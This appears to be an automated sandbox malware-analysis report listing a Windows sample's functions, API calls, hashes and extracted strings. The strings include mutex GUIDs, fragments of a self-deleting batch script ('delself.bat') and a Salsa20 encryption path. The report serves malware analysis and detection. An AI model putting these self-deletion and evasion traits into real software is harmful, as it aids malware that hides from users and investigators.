Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 8f4b302a109149e1c86236d96d5ec9546fa84bf7a53b70ad92479d45d1ec3e12
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
"if exist ", xrefs: 00412648
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
D, xrefs: 00412720
" goto try, xrefs: 00412666
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson__wsetlocale_nolock_wcscmp
String ID:
API String ID: 2762079118-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
